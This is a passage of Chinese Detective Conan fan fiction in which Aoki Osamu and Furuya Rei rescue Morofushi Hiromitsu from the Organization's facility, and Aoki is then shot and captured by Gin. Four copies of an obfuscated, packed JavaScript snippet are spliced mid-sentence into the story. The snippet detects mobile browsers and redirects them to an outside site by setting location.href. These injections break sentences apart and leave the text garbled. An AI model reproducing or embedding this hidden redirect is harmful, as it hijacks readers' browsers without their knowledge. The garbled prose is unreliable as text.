弹窗忽然显示有一条新邮件,他还以为是诸伏景光有什么消息,连忙点开。 看到简讯的瞬间,青木修瞳孔一缩。 眨眼间他心中百转千回,来信是一个陌生号码,但会称诸伏景光为“hiro”的,青木修只听他说过一个人——降谷零。 但是降谷零不是和诸伏景光在一起商量对策吗?怎么会突然发消息给他? 难道他们被组织发现了? 这个想法只冒了个头就被青木修否定了。 如果两人真的被组织发现,现在应该在一起想办法跑路,而不是让降谷零单独给自己发消息带诸伏景光撤离。 这样一来…… 青木修手腕一抖,险些没把手机扔出去。 诸伏景光和降谷零压根不在一起! 青木修的脸“唰”一下白了。 他想起了诸伏景光之前干过的事。 这个家伙! 青木修的手瞬间绷紧,手臂上青筋浮现。 同样的伎俩,他居然在诸伏景光身上上当了两次! 青木修气得胸膛起伏,手指飞快拨通了发来简讯的号码。 他错就错在太相信诸伏景光了,这个骗子! 生气归生气,在电话接通的一瞬他还是很快冷静下来。 “波本?是我,青木修。” 电话里传来降谷零可以压低的声音。 “青木修?”降谷零很惊讶他居然在这个关头还有闲心打电话,“快带着hiro走啊!” 青木修做了个深呼吸,尽力让自己的声音听起来平静。 “诸伏景光没和我在一起。” “什么?!” 降谷零的声音骤然拔高一个度,“他没和你在一起?他不是说……” “他是不是说,正和我在一起,已经想好退路了?” 哪怕不知道诸伏景光具体都干了些什么事,但青木修依旧可以推断出他对降谷零的说辞。 “……是。” “他告诉我,他正和你在一起商量对策。” 青木修怒极反笑,过于平稳的语调反而让降谷零打了个寒颤。 “波本,景光到底干了什么?” 降谷零借窗帘的遮挡,观察到楼下两名监视者的去向。 “他让我……他让我去拿着他的资料去举报他,保住我在情报组的身份。” 青木修用肩膀夹住手机,简单活动了下手脚,意外的没有什么别的反应,“他的计划应该已经成功了吧?” 不然的话降谷零哪儿来的功夫给他打电话? “……嗯。” 降谷零的声音有些迟疑。 迅速从自己的背包里翻出需要的工具,青木修说话间已经穿戴整齐,“组织肯定已经动手抓人了。发布景光的通缉令了吗?” “没有。” 青木修心下了然,诸伏景光想要保住降谷零,在组织没有发布通缉令的情况下他不会跑,人现在大概率就在之前的那间安全屋。 “我会去救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14365888|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。” 青木修说完这句就准备挂电话,却被降谷零及时出声制止。 “等等!……我也去!” 他用指尖撩开窗帘一边,在心中估算了下自己绕开两名眼线的概率。 “琴酒应该派人在监视你吧?” “我能甩开他们。” 青木修没有多劝,降谷零的实力他多多少少有些了解,对方能说甩开那就一定能成功,没有什么好质疑的。 更何况,多一个人就多一分希望,他没必要拒绝这个帮手。 “我先去原来的安全屋看看,能不能在此之前就把他带出来。” 降谷零迅速回想了一遍自己的安全屋和诸伏景光的两个安全屋之间的距离。 “我离他原来的那个安全屋近一点,我去看吧,你说个地方,如果hiro已经被带走了,我们去那里汇合。” 青木修同意了,报出一个地址。 “这个地方……没跟基地在一条线上啊?” 这不是纯纯舍近求远吗? “琴酒已经确定了景光的身份,就不会贸然把人带到基地去。” 时间紧张,剩下的话青木修没在电话里继续解释。 听着电话里传来的忙音,降谷零也迅速行动起来,迅速做好武装,反身静悄悄地出了门,向着楼上而去。 他在心中计算好了两名监视者视野的盲区,从顶层天台上找了个死角,沿着水管一路向下,轻盈地在两栋楼指尖的夹缝里落地。 从屋子里脱身之后剩下的事情就要好办许多,他猫腰接着小区里绿化的遮掩,顶着一头蜘蛛网从花坛里爬出来,“呸呸”两声吐掉嘴里的叶子,把自己整理干净之后正大光明从正门离开。 车库里的车开不出来也不碍事,他早有准备,附近很多地方都有他的备用车。 降谷零向公安提前报了车牌,一路飞驰到诸伏景光的安全屋周围,提前藏好车,做了简单的伪装,徒步走进诸伏景光租住的楼栋。 现在正是上班时间,这栋住满了上班族的公寓里静悄悄的。 他压低帽檐,从楼梯间一路向上,摸索到诸伏景光的家门口。 弯腰将窃听器贴在门上,降谷零屏息凝神,倾听屋内的声音。 没有动静。 他没有慌神,轻手轻脚卸掉猫眼,又将探头轻轻伸了进去。 门口也没有鞋子,屋子里一片寂静,明显没有人在家。 降谷零咽了一口唾沫,迅速将拆卸掉的猫眼重新装回去,取了窃听器和探头,匆匆下楼。 等坐回车上,他一边往青木修说的地方赶,一边给青木修打电话。 这时候已经顾不上什么绝对保密了,救人要紧,什么方法快就用什么方法联络。 “hiro已经被带走了。” 青木修毫不意外,他本就只是抱着试试的态度,想着如果能快组织一步最好。 得知诸伏景光已经被带走倒也不算意外。 “知道了,我在说好的地方等你。” 听降谷零那边的声音,他应该正开着车,自己就不用多此一举也开车了。 青木修一手握着已经挂断的手机,一手插着兜,走在路上就像一个普通的路人。 只有他抬头时,眼底荡然无存的平和无声地宣告着他的愤怒。 61.第 61 章 组织的人找上门时,诸伏景光已经做好了万全的准备。 “苏格兰,琴酒大人有请。” 按常理来说现在完全不必特意让人过来找他,琴酒只需要发一条消息就能让他回基地。 但多次与公安交手的经历告诉琴酒,这群条子都拥有着异常敏锐的嗅觉,想要单凭一条消息就让诸伏景光老老实实来基地的办法总是不那么保险。 于是便有了现在这么一幕。 来人是两名行动组的熟人,诸伏景光装作一副没什么戒备的样子,背起贝斯包和他们出了门。 两名成员开来的车就停在楼下,诸伏景光把贝斯包放进后备箱,自己先坐进后排。 车门“嘭”的关上。 还不等他有什么动作,车内排风口迅速喷出一些气体。 是□□。 诸伏景光毫无防备,有些慌张地抬头看向车外。 不偏不倚和两名行动组成员似笑非笑的眼神对上。 琴酒的疑心还是这么重。 失去意识前的最后一刻,诸伏景光如此想着。 “琴酒大人还说让我们小心,看来这个公安也没什么特别的本事嘛。” 见他彻底没了意识,两名成员一人打开车门通风,一人钻进后排控制住诸伏景光的手脚。 “好对付还不好吗?” 负责打开车门的这人嘟嘟囔囔,“轻轻松松就完成了任务,不费什么功夫就完成了琴酒大人的吩咐,你还不满意?” “我只是觉得他这么简单就被放倒,总觉得有些不太放心……” 这就纯属是他们多虑了,诸伏景光甚至都做好了武力对抗的准备,万万没想到琴酒居然会让他们直接上迷药。 这和组织一直以来的风格也不相符啊?! 另一人被他说动,两人对视一眼,又把诸伏景光从头到尾检查了好几遍,连他放枪的贝斯包都没放过,也没查出什么异常。 “应该是你想多了,走吧,还要把人送到备用中心。” 早一点把诸伏景光送至琴酒手上,突发意外的可能性就越低。 备用中心的地址比基地还要偏远一些,这让两人有些不满。 “这条子说到底也就一个人,他能有多大的本事?” “就是啊,我们这么多人难道还怕他一个人?” 两人一路嘀嘀咕咕,时刻提防着路边可能窜出一个公安来劫车。 直到顺利抵达备用中心,也没发现一辆有异常的车。 “总算是顺利到了。” 负责开车的成员抹了把汗,想来公安也不过如此,亏他一路上还提心吊胆。 “好了好了别说了,赶紧把人送进去就完事了。” 谁也说不准公安到底有没有后手,三下五除二把人扔进备用中心就算是完成任务,早些脱手还能防止背锅。 到时候就算是有什么变故也算不到他俩头上来。 说是备用中心,实际上是组织在东京实验中心之上的一层建筑,这里只有东京实验组的人或者是琴酒他们各个组别的最高负责人才知道。 两个人还做着出现变故与自己无关的美梦,万万没想到自己一回到基地给琴酒复命就丢掉了性命。 琴酒面无表情的把枪口发烫的□□收进风衣口袋,示意外面的人进来把尸体拖走。 朗姆就坐在他身边,阴笑着把一切收进眼底。 “你对待手下的成员就这样?” 琴酒面无表情地乜了他一眼。 “你也不逞多让。” 准确来说,在使用完手下的所有价值后就能毫不留情把人丢弃这一方面,朗姆更胜琴酒一筹。 朗姆此人,万事皆以利益为上。 “盯着波本的人呢?” 朗姆低头看了看手机,“波本离开之后就回了安全屋,没有别的动作。” 比起一开始,朗姆现在提起降谷零时表情就好看了许多。 在他眼里,波本还有巨大的利用价值,如今有证据能够证明他和老鼠没有关系,问题出在琴酒的行动组里,于他而言无疑是一个好消息。 “让他们继续盯着。” 琴酒的戒心没有完全被打消,他和波本一直有些不合,就像是天生气场不对付。 “不用你说。” 在诸伏景光被解决之前,盯梢波本的人不会被撤走。 “现在该去会一会这个日本公安了。” 琴酒叫来伏特加,坐上保时捷356A,向着备用中心而去。 算算时间,备用中心的人应该已经好好“关照”了诸伏景光一番。 . 降谷零在约定好的地点见到了青木修。 两人省去了停车寒暄的过程。 视线交错的刹那,降谷零一脚踩下刹车,青木修从藏身的地方奔出来,追上他的车,拉开车门飞身上座的动作一气呵成。 “去这里。” 青木修迅速报出一个地址,降谷零不疑有他,一打方向盘,车身一个漂移飞驰上路。 “hiro没有被带去基地吗?” 这时候就算是青木修不点明,降谷零也能意识到诸伏景光不在基地。 “嗯,以琴酒的疑心,他不会贸然把一个暴露的公安带回基地。” 青木修一边说一边从背包里拿出匕首固定在手腕上。 “他肯定会把人带到一个有合适的刑讯场地,但是绝大多数人都不知道的地方。” 降谷零从后视镜里看到,青木修在固定好匕首之后,又往大腿上绑了一个什么东西。 “所以我们是要去哪里?” “组织在东京的实验中心。” 降谷零的眼睛睁大了,“你知道实验中心的地址?” 青木修有些奇怪的看了他一眼,“你们又没问。” “……”是他们的疏忽。 他注意到青木修的用词是“肯定”而不是“可能”。 “你就这么了解他?” 降谷零发誓,他这句话绝对没有阴阳怪气的意味。 好在青木修压根没有多想,“在训练营的时候我们俩组队过一段时间,他什么性格还算是了解。” 降谷零的车速很快,说话间两人已经逐渐逼近目的地。 “别把车停的太远,一会儿带景光离开时会不太方便。” 组织肯定会采取什么手段限制诸伏景光的行动。 “不用你说,我知道。” 降谷零一个干净利落的甩尾,车子稳稳当当停在了一个岔路口。 “这里可以吗?” 青木修探出头远远眺望一眼,这里正好能看到备用中心所在的建筑,位置又不算显眼,是一个好地方。 “可以。” 青木修没再多费口舌,带来的武器车不多都已经被他藏在了身上,随身的背包干脆被他暂时扔在了降谷零的车上。 “我们要怎么进去?” 门口有保安,他们又是两个生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14375992|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面孔,从正门进是绝对不可能的了。 “跟我走。” 青木修明显对这一带很熟悉,弯腰拉着降谷零游走在建筑之间。 “后面有一个空气处理中心——你能憋气多久?” “三分钟。” 青木修在心里估量了下通过空气处理中心需要的时间。 “三分钟差不多够了。” 他带着降谷零目标明确的钻进了空气处理中心的一个通风口。 这里面遇到有毒气体的概率纯粹是拼人品赌运气,他索性强制让降谷零憋气行动。 两人的运气不算太好,行至一大半时遇上了实验室排放废气。 这些气体毒性应该不算太大,就是有些熏眼睛。 降谷零抹了把眼泪,咬着牙继续往前爬。 “到了。” 排风管里传来青木修闷闷的声音。 他停止前行的动作,取出匕首,把下方排风口的滤网拆掉,率先跳了下去。 降谷零赶忙跟在他身后一起下去。 两人落地在一条走廊的尽头拐角处,正好有一根突出的柱子把两人挡住。 “这里就是实验中心上方的备用中心。” 青木修用眼神提醒降谷零,这种时候就别分心去探听实验中心的情报了。 “……” 收到眼神示意的降谷零很好奇自己在青木修心里到底是个什么形象。 “景光应该就在前面的那个房间。” 青木修伸出一根手指,隔空点了点两人视野不远处的一扇门。 降谷零听完就准备有所动作,却被青木修拦了下来。 “有动静。” 降谷零一个急刹停住动作,敛住呼吸侧耳倾听。 确实有一些窸窸窣窣的动静从房间里传来。 他焦急诸伏景光的情况,却又不知该做些什么是好,只是站在这里,额头上竟沁出一层薄汗。 青木修同样也很不安,但他清楚这种时候必须保持冷静。 好在没过几分钟,房间里的动静停了,接下来是一阵几乎微不可闻的脚步声。 有人在向门口靠近。 “你在这里等我把景光接出来。” 他示意降谷零向斜上方看。 一个监控探头正闪着红光。 要是有所行动必然会暴露在监控之下,他们两个人有一个出现在监控中就够了,降谷零现在还在被监视,只有他出现比较合适。 “嘀。” 门锁打开的声音。 眨眼间的时间,青木修闪身到了门后,手腕中利刃出鞘。 “啊——呃……” 出来的人喊到一半的尖叫忽然变了调。 青木修一刀将其割喉。 两人之间距离太近,一些鲜血避无可避溅到了他的身上。 好在青木修一身黑衣,血痕不算明显。 他简单把匕首在胳膊上蹭了下,闯进房间内。 他的记忆没有出错,诸伏景光就在这间审讯室里。 青木修没做任何耽搁,上手开始拆捆绑在诸伏景光的束缚,同时不忘从上到下把人打量一遍,看看有没有什么伤口。 好在诸伏景光身上还算干净,没什么明显外伤,就是人还昏迷着。 青木修直接上手去掐诸伏景光的人中。 “景光,醒醒!醒醒!” 诸伏景光一睁眼,首先入眼的便是青木修紧紧抿成一条线的嘴唇。 62.第 62 章 视线上移,青木修完整的脸映入眼眶。 “青木……” 诸伏景光的声线还有些发虚,应当是药效还没有完全过去的原因。 青木修手脚麻利地把人从刑架上放下来。 骤然失去支撑物,诸伏景光腿一软就要往前倾。青木修眼疾手快接住他,死死把人架在肩膀上。 “调整呼吸,试着控制自己。” 他们的时间不多,没有太多空闲让诸伏景光调整自己的状态。 诸伏景光立刻听话照做,全神贯注去感受自己的四肢,试图重新掌控身体。 青木修几乎是卡着一分钟的时间开口。 “好点了吗?能走吗?” 诸伏景光其实半边身子都靠在青木修身上借力。 “可以。” “走。” 青木修让他的胳膊搭上自己的肩膀,强硬地搂着诸伏景光的腰把人向外带。 “快走!原路返回!” 带着诸伏景光走出房门的刹那,青木修骤然心跳加快。 他小跑着来到降谷零身前把诸伏景光放下。 “上来。” 以排风口的高度,这个状态下的诸伏景光就算是能上去也要花费不少时间,青木修索性直接蹲下,双手交叠在一起,示意诸伏景光踩上去。 诸伏景光清楚自己的情况,不拖后腿就不错了,也没有推脱,直接踩上青木修的手心,后者双腿发力站起身,把诸伏景光顺利送上排风口。 “你也来。” 他又看向降谷零。 “那你怎么办?” 降谷零上去之后,转身趴在排风口问青木修。 这时候青木修已经能听见远处传来的脚步声了,他的心跳越来越快,脑海中有一个声音在不断提醒他来人是琴酒。 “你先带着他走,别管我!” 青木修刚刚放下诸伏景光的时候,发现对方脖子上有两个针眼,应该是被组织下了药。 “出去之后记得带他去医院。” 说完他迅速打了个手势,意思是快走! 降谷零此时也听见了脚步声,顾不得那么多,只能转身推着诸伏景光往前走。 自知状态不好的诸伏景光已经抓紧时间往前爬出一小段距离,成功错过了降谷零和青木修方才的对话。 排风口其实并不宽敞,在离开入口的位置后,这里的空间已经不太足够他们转身了,一个成年男人的身形差不多就能把整个排风口的视野堵住。 他只能回头看一眼。 降谷零就在他身后,再往后就看不到了。 他现在的呼吸有些乱,呼吸声夹杂着爬行弄出的动静,也听不清楚到底管道里到底有几个人在爬。 “到了前面拐弯的地方就屏住呼吸,坚持大概三分钟左右。” “收到。” 经过弯道,诸伏景光深吸一口气屏住呼吸,同时尽可能的放松,防止心跳过快大量消耗氧气。 他们俩也遇上了下方的实验室排放废气。 这一次他们的运气没有来时的好,废气很有可能是有毒气体,皮肤甚至都有微微的刺痛感。 也不知道组织到底给自己用了什么药,诸伏景光的心跳一直没有平复,手脚也不自觉地发软,氧气消耗的飞快。 “咳咳……咳咳咳……” 还没等爬出废气范围,他喉头忽然一痒,剧烈呛咳起来,不经意间吸入了几口废气,肺部顿时一阵灼痛。 降谷零伸出手一边帮忙给他拍着后背顺气,一边用力推着他向前走。 这时候千万不能停,一旦停下就前功尽弃了。 诸伏景光半是爬着半是被推着,终于离开了废气管道。 “咳咳咳!” 呼吸到新鲜空气的瞬间,诸伏景光咳得更厉害了。 他眼泪都咳了出来,深吸了好几口净化后的空气,终于感觉自己活过来了。 等他稍微顺过气,一回头,只见降谷零不见青木修。 “zero,青木呢?” 好不容易平息下来的心跳又乱了。 “我们离开的时候应该有人过来了,青木修在后面处理那些人。” “那他怎么办?” 诸伏景光有些不好的预感。 “他让我带着你原路返回不要管他。” “可是……” 降谷零的视线落在诸伏景光扶着墙还有些颤抖的手上。 “你现在这副样子,想回去也只会给他拖后腿。” 降谷零话说的有些直,但着实是实情。 其实不用他说,诸伏景光也能感受到自己的力量正在被一点一点抽走。 青木修掐他人中不过是强行把人唤醒,药效没有过去,相信用不了多久他就会再一次丧失行动能力。 “……别愣着了,快走吧。” 降谷零确定他的呼吸基本上顺畅了,抬手推了一把诸伏景光,“前面还有一段路要爬呢。” 诸伏景光沉默了几秒,转过身在降谷零的帮助下跳上下一截通风口。 他现在实在帮不上什么忙,唯一能做的就是不要给降谷零和青木修拖后腿,免得他们白费功夫还把自己搭进去。 只是后半程的路比两人想象中的还要艰难。 组织用的药物起效很快,前半程诸伏景光还能自己用力向前爬,到了后半程几乎全是在靠降谷零把他往前推。 诸伏景光几乎要支撑不住眼皮,眼前的整个世界都在打转。 眩晕、恶心、偏头痛,乏力…… 诸伏景光不断吞咽着口水才能保证自己不吐在这里。 “马上就要出去了,hiro,再坚持一下。” 察觉出诸伏景光有体力不支即将晕倒的迹象,降谷零只能在身后不断地呼唤他的名字提醒他保持清醒。 诸伏景光到后来完全是在凭着一点直觉在动作,他的眼睛几乎看不清任何东西,甚至有了身下的排风管正在颤抖的错觉。 前方出现光亮的时候,诸伏景光的眼睛被刺得流下了泪水。他回光返照似的顶住一口气,手脚并用的爬出最后一节管道,双脚落地的一瞬,胸口憋着的那口气一松,当场大头朝下栽了下去。 在他身后一步的降谷零眼睁睁看着幼驯染给他表演一出当场关机。 不过他们已经走过了最危险的一段路程,车就停在不远处。 他把诸伏景光从地上拖起来,一脚深一脚浅的架着昏过去的人走向自己的车。 青木修在感觉到来人是琴酒的时候就知道今天这事儿没那么好结束。 为了给降谷零和诸伏景光创造足够的空间和时间,他故意放慢了每一个动作,故意卡着琴酒出现在走廊另一端的时间点。 琴酒还没走过来就闻到了浓郁的血腥味。 没有他的命令,这里的人不会擅自对诸伏景光用刑,这种味道只能说明一种可能——有人来救诸伏景光。 会是谁呢? 插在风衣口袋的手拨弄着□□的保险。 很快他就知道了答案。 ——是青木修。 就在他走过转角的那一刻,青木修双脚点地,一个用力就扒住了排风口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14385311|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半截身子已经缩进排风口里,一副刚救完人准备离开的样子。 他顺势往排风管道里看了一眼,很好,已经没了降谷零和诸伏景光的踪影。 有降谷零在,青木修不担心诸伏景光会因为药物原因走不出去。 降谷零不会丢下他的幼驯染。 在这种紧要关头,青木修竟然还能分出精神去想这些。 忽然有点羡慕降谷零了,他和诸伏景光互为彼此的半身,是除自己之外最了解自己的人。 真是羡慕啊…… 子弹的破空声强行拉回了青木修的神智。 他通过声音判断出子弹的大致落点,得出结论后迅速松开扒着排风管道的手。 落地的同时回身,青木修正好和琴酒的视线对上。 分明两侧跟来的人都看不出琴酒眼中的喜怒,青木修却能准确判断出他的想法。 眼前这家伙很生气。 青木修浑身的寒毛都要炸起来了,琴酒不好对付,发怒的琴酒更不好对付。 毕竟是一个越生气越理智的变态。 想让琴酒失去理智,这比直接跑到BOSS老巢把人干掉难度还要高一点。 琴酒定定地看了青木修好几秒,平直的嘴角才缓缓勾起一个微小的弧度。 青木修迅速拉开架势做好戒备,一场恶战恐怕是避免不了的了。 现在的他还打不打得过琴酒还有的说,不过如果只是单纯给降谷零和诸伏景光两人拖延时间的话还是足够的。 从真正见到琴酒的那一刻起,青木修就没想过今天能走。 两人之间还有一段距离,无疑给琴酒用枪制造了便捷条件。 几个在琴酒身后一起跟来的成员压根没看清他们俩究竟是谁先动的,只见琴酒毫无预兆地举起□□,对准身前开了三枪! 青木修在同一时刻有所行动,他借助走廊墙壁纵身一跃躲开了第一枚子弹,接着迅速落地,趴伏在地面上向前冲刺,正好与第二枚子弹擦肩而过。 在逼近琴酒的刹那他单手撑地重新站起来,固定在手腕上的匕首自下而上如一道闪电般划过。 琴酒后退一步避开刀锋。 子弹带破了青木修的右臂,刀尖划伤了琴酒的下颚。 “滴答。”“滴答。” 两滴血一前一后滴落在地上。 不过是几个呼吸间,两人之间的距离就被无限拉近。 青木修见一击不成,毫不停歇翻转手腕,调转方向后重下向下刺去。 琴酒抬手用□□格挡住青木修的这一击。 锋利的刀刃在□□上留下一道明显的划痕。 琴酒这一下用的力道很大,青木修“噔噔”后退两步,趁周围人不备,抬手抓来一个倒霉蛋拦在自己胸前,正好帮他挡住一颗子弹。 “嘭。” 扔掉没用的人肉盾牌,他反手一刀抹了一个试图从背后接近他的人的脖子。 还剩下的两名成员你看看我我看看你,不约而同咽了口唾沫。 感受到两人的犹豫,琴酒只是冷嗤一声“废物”,也没真的指望他们能镇住青木修。 他收起□□,抬腿对着青木修当胸一脚踹过去。 后者立刻抬起双手格挡,利用背后的墙壁刹住脚。 琴酒丝毫不给他喘息的机会,抓住青木修调整的机会,一拳直冲他门面而来。 青木修抬手便要挡,谁料琴酒这一招只是幌子,另一只手迅速抓住青木修固定着匕首的手腕,对准关节狠狠一敲! “当啷!” 匕首被他打飞了出去。 63.第 63 章 青木修和琴酒现在的距离很近,他们可以清晰地感受到对方喷洒出的灼热呼吸。 “杜林标,你变弱了。” 琴酒的手落在青木修修长的脖颈上,五指一点一点收拢。 银发碧眼的杀手像是在欣赏垂死挣扎的小动物一样欣赏着青木修的动作。 掌下是青木修跳动的血管,热度从他的脖子传递到琴酒的手上。 跃动的生命。 青木修始终没有放弃挣扎,他克制着自己的氧气消耗,耐心地等待着反制的机会。 “这道疤……是诸伏景光留下来的吧?” 琴酒空着的手落在青木修脸颊的伤疤上,用力地捻过去,拖出一道红痕。 “你对他可真是情深义重,只是他对你,似乎没什么感情?” 青木修原本已经垂下的手从大腿上摸出了另一柄匕首,冲着琴酒小腹捅了过去。 琴酒眼疾手快地把他甩开。 “咳咳咳……” 重新获得氧气的青木修爆发出了一阵猛烈地咳嗽,他一手揉了揉已经被掐出印子的脖子,一手把匕首横在胸前做防守。 “我不需要你来教我对错。” 他其实是眉压眼的长相,面部表情完全冷下来之后,看上去实际上非常凌厉。 两人之间的距离再一次被拉开,琴酒重新拿出□□。 另外两个跟来的家伙很有自觉地从两个方向包围住青木修。 青木修甩甩受伤的胳膊,先一步有了动作。 他向着侧方就地一滚,匕首扎上左侧那人的脚背。 “啊——!” 一声尖锐的惨叫,被他扎中的成员疼得下意识抬起脚,青木修抓住这个机会挑断了他用来站立的脚的脚筋。 两人缠斗间,右侧的成员朝着他扑了过来,青木修从地面上一跃而起,一记鞭腿把人当胸横踹出去。 琴酒像是在逗弄猎物一般,不慌不忙地见缝插针开上一枪,看上去相当悠闲。 青木修略有狼狈地躲开子弹,就这么一愣神的时间,后腰就被踹了一脚。 他有那么短暂的一刻失去了平衡。 琴酒哪里会放过这个机会? 子弹出膛,直奔青木修已经受伤的胳膊而去。 这一次他没能顺利躲开。 子弹入肉的惯性不小,他跟着踉跄了好几步。 灼烧的刺痛强力地刺激了青木修的神经,他不顾被打穿的胳膊,以一个不可思议的角度回身,先人一步把匕首送进了背后之人的喉咙。 “噗呲……” 他拔出匕首,鲜红的血液瞬间从对方的咽喉处喷涌而出。 与此同时,琴酒开了第二枪。 这一次子弹没入了青木修的大腿,他“咚”的单膝跪在了地上。 还没等他从地上站起来,琴酒就已经疾步走到他面前,抬腿一脚把他踹倒。 青木修即使倒地也没有松手,他手腕一抖,正准备把匕首冲着琴酒掷出去。 琴酒抬脚,皮鞋碾在青木修拿匕首的手腕上。 扔匕首的动作受了阻碍,力道小了一半不止,飞出的匕首被琴酒用□□轻松格挡掉。 脚下用力,青木修清晰地感受到手腕处传来了骨骼错位的感觉。 如果琴酒再不松脚,他的手会被活生生踩断。 “你很喜欢用这个?” 琴酒对他出奇的有耐心,弯腰把掉落在一旁的匕首捡起来,放在青木修眼前晃了晃。 下一秒,他把匕首插进了青木修的手心。 “唔——!” 青木修半边身子都跟着抖了一下,手掌缩紧,碰到刀锋之后又松开。 “你会来救诸伏景光,是有人给你通风报信,还是你一直盯着组织?” 青木修咬紧牙关,连闷哼都被他统统咽回肚子,决心不给琴酒透露一个字。 “你不说也没关系。” □□在琴酒手里转了一圈,变成了枪托向下。 组织里有的是办法让杜林标开口。 青木修失去意识前看到的最后一个画面就是琴酒用枪托击向自己。 . 降谷零联系了黑田兵卫,对方很快表示已经通知好医院做接收准备。 回过头,副驾驶上的诸伏景光已经彻底没了意识,整个人随着降谷零的车来回晃动。 “hiro,撑住啊……” 降谷零侧着漂过两辆车中间的空隙,一个摆尾通过一道弯,立刻把油门重新踩到底。 他时不时侧过头看一眼诸伏景光。 对方的胸膛还能看出明显的起伏,这让降谷零安了不少心。 一路风驰电掣把人送到警察医院,降谷零远远和黑田兵卫打了个招呼,甚至来不及等诸伏景光进抢救室就匆匆离开。 他前脚从楼顶一路爬回公寓,后脚就有人来敲他的门。 “干什么?” 降谷零换掉外套蹬掉鞋,随手抓抓头发,装作刚睡醒的样子黑着脸开了门。 “波本,朗姆大人有请。” 降谷零在背地里松了一口气,还好把诸伏景光送到医院之后就回来了,但凡多耽误一分钟,他就赶不上这两个监视者敲门了。 “等着。” 他面上不显,仍是黑着脸甩上门开始换衣服。 “朗姆大人,琴酒大人,波本一直在家,没有外出过。” 方才他们还在公寓楼下盯梢,突然接到琴酒的命令,让他们上楼检查波本是否在家。 在屋子里的降谷零通过装在门口的窃听器把两人的话一字不漏地听了进去。 琴酒的戒心还真是高,到目前为止都没有打消过对他的怀疑。 不过现在应该对他怀疑低一些了。 几分钟后,降谷零重新打开门,看向站在门口霎时噤声的两人。 “走吧。” 这一次降谷零光明正大的到车库里开出了他平时用的那辆马自达。 抵达基地停车场,早早守在那里的检测员立刻在他的轮胎上提取了泥土样本。 降谷零很是不爽的“啧”了一声,甩开两名盯梢者,大步流星走到一开始的会议室里,矛头直指琴酒。 “琴酒,你什么意思?找人盯着我就算了,现在又来试我?有意思吗?” 朗姆在一旁打圆场,“波本,冷静一点,现在是特殊时期。” “特殊时期?” 降谷零眉头一挑,饶有兴味地看向他,“朗姆大人,难道没有捉到诸伏景光吗?” “捉是捉到了——”朗姆看向琴酒的眼神里尽是促狭,“杜林标突然出现,把人救走了。” “杜林标?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14397673|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 降谷零已经很久没有听过这个代号了,他已经习惯叫“青木修”,想了一瞬才记起来。 “他不是跟着赤井秀一跑了吗?” 琴酒不知什么时候点燃了一支烟,咬在嘴里没吸,只是静静看着香烟燃烧后飘起的烟。 “原本的消息是他已经死在美国了,不过现在来看,他还不是一般的命大。” 朗姆也没想到杜林标居然还活着,当初杜林标在美国出意外后消息可是第一时间传到了他手上。鸟取那边的实验组可是为此发了好大的脾气,尤其是那个叫左山的家伙,不知道砸了几个办公室。 听说鸟取那边后来有试着唤醒当初留下的一批胚胎,但是由于种种原因一直没能成功,搞得左山都开始带人重新启动克隆计划了。 “他应该已经回来了一段时间。” 琴酒忽然出声道,如果杜林标不是回来了有一段时间,那么他就不可能有机会对诸伏景光被抓一事做出如此迅速地反应。 “当初在威士忌小组,你有没有看出他和诸伏景光之间有什么?” 琴酒忽然看向降谷零。 “他们之间……那些传闻组织里不是人尽皆知吗?” 琴酒想了想,发现当初有关他们俩的谣言还真的是在组织里满天飞。 现在想来,那些也不全是谣言。 “他还真是情根深种。”想到杜林标今天无异于来送死的行为,琴酒嘲讽道。 降谷零:“……” 他一时之间不知道该说些什么好。 好在琴酒没有在这个话题上多为难他,“杜林标已经抓到了,要不要去看看你的前队友?” 降谷零心道青木修果然没从琴酒手下逃出来,但面上时刻不忘自己的人设,“谁是他队友?你要用一个叛徒来侮辱我吗琴酒?” 不用猜就知道现在青木修的状况好不到哪里去——估计要不是琴酒看在对方还有利用价值的份上,当场就能崩了他。 实际上琴酒根本不想管那么多,他当时都已经把枪口贴在了青木修的额头上,只要他手指轻轻一动,对方就会死无全尸。 